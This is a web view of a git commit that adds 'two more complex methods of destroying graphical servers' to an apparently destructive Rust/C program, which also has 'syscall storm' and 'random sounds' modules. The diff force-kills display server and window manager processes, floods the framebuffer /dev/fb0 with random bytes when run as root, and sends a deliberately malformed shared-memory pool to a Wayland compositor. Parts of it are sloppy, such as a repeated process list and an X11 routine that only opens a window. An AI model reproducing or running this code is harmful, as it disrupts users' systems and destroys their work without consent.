summaryrefslogtreecommitdiff
path: root/src/non_critical
diff options
context:
space:
mode:
authorNamilskyy <alive6863@gmail.com>2025-11-04 21:54:48 +0300
committerNamilskyy <alive6863@gmail.com>2025-11-04 22:05:30 +0300
commitaeadb1b58e4f9ef2f6e4ee112408ca80f68398a8 (patch)
tree4377c7191da21599df75b3a9f2c8a5f80b97e9af /src/non_critical
parent3b0f8d460a549a91b9555e8edeb36c02d41e73cd (diff)
Added two more complex methods of destroying graphical servers in `src/non_critical/gui_destroyer.rs`.
New depends: libx11, wayland_client
Diffstat (limited to 'src/non_critical')
-rw-r--r--src/non_critical/_tools.c9
-rw-r--r--src/non_critical/_tools.h1
-rw-r--r--src/non_critical/gui_destroyer.rs117
-rw-r--r--src/non_critical/mod.rs3
4 files changed, 114 insertions, 16 deletions
diff --git a/src/non_critical/_tools.c b/src/non_critical/_tools.c
index f152df2..4b6159d 100644
--- a/src/non_critical/_tools.c
+++ b/src/non_critical/_tools.c
@@ -1,4 +1,5 @@
#include <stdio.h>
+#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <string.h>
@@ -40,4 +41,12 @@ char* get_os_name() {
fclose(file);
return NULL;
+}
+
+char* get_desktop_server() {
+ if(getenv("XDG_SESSION_TYPE") != NULL) {
+ return getenv("XDG_SESSION_TYPE");
+ } else {
+ return NULL;
+ }
} \ No newline at end of file
diff --git a/src/non_critical/_tools.h b/src/non_critical/_tools.h
index e56b194..fd8e6bd 100644
--- a/src/non_critical/_tools.h
+++ b/src/non_critical/_tools.h
@@ -3,3 +3,4 @@
int check_root();
int check_pid();
char* get_os_name();
+char* get_desktop_server(); \ No newline at end of file
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs
index ae5dd32..aafc05a 100644
--- a/src/non_critical/gui_destroyer.rs
+++ b/src/non_critical/gui_destroyer.rs
@@ -1,43 +1,128 @@
#![no_main]
#![feature(let_chains)]
-use std::process;
-use std::io::{Error, Write};
-use std::fs::File;
+use std::ffi::CStr;
+use std::io::Write;
+use std::ptr;
+use std::fs::OpenOptions;
+use std::os::unix::io::{AsRawFd, IntoRawFd};
+use std::os::raw::c_char;
+use std::error::Error;
+
use rand::{Rng};
+use x11::xlib;
+use wayland_client::{Display, GlobalManager, Main};
+use wayland_client::protocol::wl_shm::WlShm;
+
extern "C" {
fn check_root() -> i32;
+ fn get_desktop_server() -> *mut c_char;
}
// Pfff its to light for this project, but why not
pub fn artifacts_and_kill(root: bool, iterations: i32) -> Result<(), std::io::Error> {
- std::process::Command::new("pkill")
- .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"])
- //TODO: Add more process names of the processes you want to kill
- .spawn().unwrap();
+ let procs: [&str; 10] = ["X", "Xwayland", "Xorg", "i3", "i3status", "i3lock", "i3status", "i3lock", "i3status", "i3lock"];
+ let root_chk: i32 = unsafe { check_root() };
+
+ if root == true && root_chk == 0 {
+
+ for i in 0..procs.len() {
+ std::process::Command::new("pkill")
+ .args(&["-9", procs[i]])
+ //TODO: Add more process names of the processes you want to kill
+ .spawn().unwrap();
+ }
- if root == true /* && let mut Ok(fb) = std::fs::File::create("/dev/fb0") */ {
let mut fb = std::fs::File::open("/dev/fb0").unwrap();
let mut rng = rand::thread_rng();
+
for _ in 0..iterations {
let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect();
let _ = fb.write(&garbage);
}
+
+ } else {
- }
+ unsafe {
+ let ptr = get_desktop_server();
+ if ptr.is_null() {
+ panic!("XDG_SESSION_TYPE not set");
+ }
+
+ if CStr::from_ptr(ptr).to_str().unwrap() == "wayland" {
+ wayland_corrupt_buffer().unwrap();
+ } else {
+ artifacts_x11();
+ }
+ }
+ }
Ok(())
}
-/*
-fn init() -> Result<(), std::io::Error> {
- if check_root() == 0 {
- artifacts_and_kill(true)
- } else {
- artifacts_and_kill(false)
+
+unsafe fn artifacts_x11() -> xlib::Window {
+ let dsp = xlib::XOpenDisplay(ptr::null());
+ if dsp.is_null() {
+ panic!("Couldnt open XServer conn.");
}
+
+ let screen = xlib::XDefaultScreen(dsp);
+ let root_window = xlib::XRootWindow(dsp, screen);
+
+ let mut xattr: xlib::XSetWindowAttributes = std::mem::zeroed();
+ xattr.background_pixel = xlib::XBlackPixel(dsp, screen);
+
+ // Создаем окно с потенциально проблемными параметрами
+ let win = xlib::XCreateWindow(
+ dsp,
+ root_window,
+ 0, // x
+ 0, // y
+ 100, // width
+ 100, // height
+ 0, // border_width
+ xlib::CopyFromParent as i32, // depth
+ xlib::InputOutput as u32, // class
+ ptr::null_mut(), // visual - используем null вместо *CopyFromParent
+ xlib::CWBackPixel as u64, // value_mask
+ &mut xattr // attributes
+ );
+
+ win
+}
+
+fn wayland_corrupt_buffer() -> Result<(), Box<dyn Error>> {
+ let display = Display::connect_to_env()?;
+ let mut event_queue = display.create_event_queue();
+ let attached = display.attach(event_queue.token());
+
+ let globals = GlobalManager::new(&attached);
+ event_queue.sync_roundtrip(&mut (), |_, _, _| {})?;
+
+ let shm: Main<WlShm> = globals
+ .instantiate_exact::<WlShm>(1)
+ .map_err(|_| "wl_shm not available")?;
+
+ let tmp_path = std::env::temp_dir().join(format!("wl_broken_{}.tmp", std::process::id()));
+ let mut f = OpenOptions::new()
+ .read(true)
+ .write(true)
+ .create(true)
+ .truncate(true)
+ .open(&tmp_path)?;
+ f.set_len(4096)?;
+ let raw_fd = f.into_raw_fd();
+
+ let _broken_pool = shm.create_pool(raw_fd, 8192);
+
+ let _ = event_queue.sync_roundtrip(&mut (), |_, _, _| {});
+
+ println!("Broken pool creating request sent to Wayland.");
+ Ok(())
+
}
-*/
+// ITS HAVE TO MUCH SHITCODE FOR 1 FILE \ No newline at end of file
diff --git a/src/non_critical/mod.rs b/src/non_critical/mod.rs
index abc91c8..959a8ee 100644
--- a/src/non_critical/mod.rs
+++ b/src/non_critical/mod.rs
@@ -7,6 +7,7 @@ extern "C" {
pub fn check_root() -> c_int;
pub fn check_pid(pid: c_int) -> c_int;
pub fn get_os_name() -> *mut c_char;
+ pub fn get_desktop_server() -> *mut c_char;
// Random sounds
pub fn init_random_sounds(threads: c_int, time: c_int) -> c_int;
@@ -15,6 +16,8 @@ extern "C" {
// Syscall storm
pub fn init_syscall_storm(threads: c_int, iterations: c_int) -> c_int;
pub fn stop_syscall_storm();
+
+
}